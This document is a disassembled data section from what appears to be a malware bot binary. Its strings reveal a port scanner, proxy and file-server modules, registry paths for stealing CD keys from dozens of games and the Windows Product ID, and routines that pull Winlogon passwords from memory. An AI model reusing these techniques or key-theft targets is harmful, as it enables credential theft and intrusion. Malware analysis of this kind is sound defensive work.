unk_42A198 db 2 ; DATA XREF: sub_4071CC+2Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCurrentIpS_ db ' Current IP: %s.',0 align 4 ; char unk_42A1C8 unk_42A1C8 db 2 ; DATA XREF: sub_407243+36Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStartS db 'Failed to start server, error: <%d>.',0 align 4 ; char unk_42A20C unk_42A20C db 2 ; DATA XREF: sub_407243+307o ; sub_40EE51+549Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aServerListenin db 'Server listening on IP: %s:%d, Directory: %s\.',0 align 4 dword_42A258 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_407243+267o dd 2BBBB02h aFailedToStar_0 db ' Failed to start server, error: <%d>.',0 align 4 ; char dword_42A298 dword_42A298 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_407243+1FAo dd 2BBBB02h aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0 align 4 ; char unk_42A2E8 unk_42A2E8 db 2 ; DATA XREF: sub_407243+149o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_1 db ' Failed to start server, error: <%d>.',0 ; char unk_42A328 unk_42A328 db 2 ; DATA XREF: sub_407243+DBo ; sub_40EE51+5326o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aServerStarte_0 db ' Server started on Port: %d, File: %s, Request: %s.',0 align 4 ; char aD_D_D_D[] aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40761F+38o ; sub_40AEDB+46o ; char unk_42A384 unk_42A384 db 2 ; DATA XREF: sub_407758+EBo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0 ; char unk_42A3BC unk_42A3BC db 2 ; DATA XREF: sub_407758+93o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 4 ; char unk_42A408 unk_42A408 db 2 ; DATA XREF: sub_40796C+1CEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0 align 4 ; char unk_42A45C unk_42A45C db 2 ; DATA XREF: sub_40796C+173o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_2 db ' Failed to start worker thread, error: <%d>.',0 align 4 ; char unk_42A4A8 unk_42A4A8 db 2 ; DATA XREF: sub_40796C+103o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 10h ; char unk_42A4F0 unk_42A4F0 db 2 ; DATA XREF: sub_40796C+87o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToInitia db ' Failed to initialize critical section.',0 align 4 ; char unk_42A538 unk_42A538 db 2 ; DATA XREF: sub_407BCB+156o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartC db ' Failed to start client thread, error: <%d>.',0 ; char unk_42A584 unk_42A584 db 2 ; DATA XREF: sub_407BCB+E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0 align 4 ; char unk_42A5DC unk_42A5DC db 2 ; DATA XREF: sub_407D53+1AAo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_3 db ' Failed to start connection thread, error: <%d>.',0 ; char unk_42A62C unk_42A62C db 2 ; DATA XREF: sub_407D53+E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0 align 10h ; char unk_42A680 unk_42A680 db 2 ; DATA XREF: sub_407FD7+1B2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_4 db 'Failed to start server on Port %d.',0 align 10h ; char unk_42A6C0 unk_42A6C0 db 2 ; DATA XREF: sub_407FD7+18Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_5 db 'Failed to start client thread, error: <%d>.',0 ; char unk_42A708 unk_42A708 db 2 ; DATA XREF: sub_407FD7+114o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aClientConnec_1 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 ; char unk_42A75C unk_42A75C db 2 ; DATA XREF: sub_407FD7+A8o ; sub_40EE51+5E2Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aServerStarte_1 db 'Server started on: %s:%d.',0 align 4 ; char unk_42A794 unk_42A794 db 2 ; DATA XREF: sub_4081DC+1F9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorFailedToC db 'Error: Failed to connect to target, returned: <%d>.',0 ; char unk_42A7E4 unk_42A7E4 db 2 ; DATA XREF: sub_4081DC+18Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorFailedToO db 'Error: Failed to open socket(), returned: <%d>.',0 ; char unk_42A830 unk_42A830 db 2 ; DATA XREF: sub_4081DC+F2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAuthentication db 'Authentication failed. Remote userid: %s != %s.',0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4085A0+11o aWindow db 'Window',0 ; DATA XREF: sub_4087DB+23o ; sub_4089D4+26o align 10h dd 80000001h off_42A894 dd offset aSoftwareValveC ; DATA XREF: sub_408C13+Cr ; sub_408C13+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_42A8A0 dd 2 dup(0) ; DATA XREF: sub_408C13+26o dd 80000001h, 42BA28h, 42BA1Ch, 42BA0Ch, 2 dup(0) dd 80000001h, 42B9ECh, 42B9E8h, 42B9D4h, 2 dup(0) dd 80000001h, 42B9B0h, 42B9E8h, 42B9A4h, 2 dup(0) dd 80000001h, 42B980h, 42B978h, 42B964h, 2 dup(0) dd 80000001h, 42B950h, 42B940h, 42B924h, 2 dup(0) dd 80000001h, 42B8E0h, 42BA68h, 42B8CCh, 2 dup(0) dd 80000002h, 42B8A0h, 42B894h, 42B874h, 2 dup(0) dd 80000002h, 42B840h, 42BA68h, 42B828h, 2 dup(0) dd 80000002h, 42B7F4h, 42BA68h, 42B7DCh, 2 dup(0) dd 80000002h, 42B7C4h, 42BA68h, 42B7ACh, 2 dup(0) dd 80000002h, 42B770h, 4397BCh, 42B760h, 2 dup(0) dd 80000002h, 42B728h, 4397BCh, 42B714h, 2 dup(0) dd 80000002h, 42B6C8h, 4397BCh, 42B6A8h, 2 dup(0) dd 80000002h, 42B658h, 4397BCh, 42B62Ch, 2 dup(0) dd 80000002h, 42B5F0h, 4397BCh, 42B5DCh, 2 dup(0) dd 80000002h, 42B5A4h, 4397BCh, 42B594h, 2 dup(0) dd 80000002h, 42B544h, 4397BCh, 42B518h, 2 dup(0) dd 80000002h, 42B4D8h, 4397BCh, 42B4BCh, 2 dup(0) dd 80000002h, 42B48Ch, 4397BCh, 42B46Ch, 2 dup(0) dd 80000002h, 42B430h, 4397BCh, 42B41Ch, 2 dup(0) dd 80000002h, 42B3D4h, 4397BCh, 42B3B4h, 2 dup(0) dd 80000002h, 42B360h, 4397BCh, 42B330h, 2 dup(0) dd 80000002h, 42B2E0h, 4397BCh, 42B2B4h, 2 dup(0) dd 80000002h, 42B274h, 42B26Ch, 42B24Ch, 2 dup(0) dd 80000002h, 42B208h, 4397BCh, 42B1ECh, 2 dup(0) dd 80000002h, 42B1A0h, 4397BCh, 42B17Ch, 2 dup(0) dd 80000002h, 42B148h, 4397BCh, 42B13Ch, 2 dup(0) dd 80000002h, 42B108h, 4397BCh, 42B0FCh, 2 dup(0) dd 80000002h, 42B0C8h, 4397BCh, 42B0BCh, 2 dup(0) dd 80000002h, 42B088h, 4397BCh, 42B07Ch, 2 dup(0) dd 80000002h, 42B040h, 4397BCh, 42B02Ch, 2 dup(0) dd 80000002h, 42AFF0h, 4397BCh, 42AFDCh, 2 dup(0) dd 80000002h, 42AFACh, 42BA68h, 42AF90h, 2 dup(0) dd 80000002h, 42AF70h, 42AF68h, 42AF44h, 2 dup(0) dd 80000002h, 42AF28h, 42AF68h, 42AF08h, 2 dup(0) dd 80000002h, 42AEE8h, 42AF68h, 42AEC4h, 2 dup(0) dd 80000002h, 42AEACh, 42AF68h, 42AEA8h, 2 dup(0) dd 80000002h, 42AE8Ch, 42AE7Ch, 42AE74h, 2 dup(0) dd 80000002h, 42AE40h, 42AE3Ch, 42AE24h, 2 dup(0) dd 80000002h, 42ADE8h, 42ADDCh, 42ADB4h, 42ADA4h, 42AD90h dd 80000002h, 42AD6Ch, 42AD60h, 42AD4Ch, 42AD3Ch, 42AD34h dd 80000002h, 42AD6Ch, 42AD60h, 42AD08h, 42AD3Ch, 42AD00h dd 80000002h, 42AD6Ch, 42AD60h, 42ACD0h, 42AD3Ch, 42ACC8h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 10h aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 aKey db 'key',0 ; DATA XREF: UPX0:004302DCo db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 aNox db 'NOX',0 aSoftwareWestwo db 'Software\Westwood\NOX',0 align 4 aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 10h db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 10h aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 10h db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 10h db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 10h db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 4 db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 10h db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 10h aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 10h db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 4 db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 10h db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 4 db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 4 db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 4 aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 10h db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 4 db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 10h db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aProductid db 'ProductId',0 align 10h db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 10h aCustomernumber db 'CustomerNumber',0 align 10h aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 10h aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aHalfLife db 'Half-Life',0 align 10h aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 10h aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: UPX0:0042A89Co aCdkey db 'CDKey',0 ; DATA XREF: UPX0:0042A898o align 10h aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: UPX0:off_42A894o align 4 ; char Delim[] Delim db '=',0 ; DATA XREF: sub_408C13+E9o ; sub_408C13+F4o align 4 ; char aR[] aR db 'r',0 ; DATA XREF: sub_408C13+8Fo ; sub_40EE51:loc_413624o align 10h ; char aSS_3[] aSS_3 db '%s\%s',0 ; DATA XREF: sub_408C13+7Eo ; sub_408EE0+45o ... align 4 ; char aSCdKeyS_[] aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_408C13+2Bo align 4 ; char unk_42BABC unk_42BABC db 2 ; DATA XREF: sub_408DC8+C5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesFoundD_ db ' Files found: %d.',0 ; char unk_42BAEC unk_42BAEC db 2 ; DATA XREF: sub_408DC8+5Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingForFi db ' Searching for file: %s.',0 align 4 ; char aFoundSS[] aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_408EE0+107o align 4 ; char aS_7[] aS_7 db '%s\*',0 ; DATA XREF: sub_408EE0+1Ao align 4 ; char unk_42BB3C unk_42BB3C db 2 ; DATA XREF: sub_409032:loc_4091ABo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToEnable db ' Failed to enable Debug Privilege.',0 align 10h ; char unk_42BB80 unk_42BB80 db 2 ; DATA XREF: sub_409032:loc_40917Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToFindWi db ' Unable to find Winlogon Process ID.',0 unk_42BBC4 db 2 ; DATA XREF: sub_409032:loc_409177o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToFindTh db ' Unable to find the password in memory.',0 align 4 ; char unk_42BC0C unk_42BC0C db 2 ; DATA XREF: sub_409032+117o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLogo db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/(no password)).',0 align 4 off_42BC84 dd offset byte_530055 ; DATA XREF: sub_409032+DCo dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004D dd offset byte_4E0049 dd 0 off_42BC9C dd offset byte_530055 ; DATA XREF: sub_409032+CEo dd offset byte_520045 dd offset loc_41004E dd offset byte_45004D align 10h aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_409032+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_409032+8Do align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_409032+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_409032+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_409032+68o align 10h aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_409032+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_409032+40o ; sub_409032+161o ... align 10h unk_42BD60 db 2 ; DATA XREF: sub_409032+35o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aOnlySupportedO db ' Only supported on Windows NT/2000.',0 align 4 ; char aMsgina[] aMsgina db 'MSGINA',0 ; DATA XREF: sub_409204+13Eo align 4 ; char aNwgina[] aNwgina db 'NWGINA',0 ; DATA XREF: sub_409204+123o align 4 ; char aWinlogon[] aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_409204+AFo align 10h ; char unk_42BDC0 unk_42BDC0 db 2 ; DATA XREF: sub_40966A+70o ; sub_409701+C7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLo_0 db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/%S).',0 align 4 ; char unk_42BE2C unk_42BE2C db 2 ; DATA XREF: sub_409701+E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLo_1 db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/(N/A)).',0 align 4 aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40981A+C50o align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40981A+C48o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_40981A:loc_40A455o align 10h aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_40981A+BE6o align 10h aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_40981A+BD9o align 10h aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_40981A+BCCo align 10h aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_40981A+BBFo align 10h aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_40981A+BB2o align 10h aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_40981A+BAAo align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_40981A:loc_40A3B7o align 10h aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_40981A+B68o align 10h aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_40981A+B60o align 10h aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_40981A:loc_40A36Do aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40981A+B0Eo align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40981A+B01o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_40981A+AF4o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_40981A+AECo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_40981A:loc_40A2F9o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40981A+AAAo 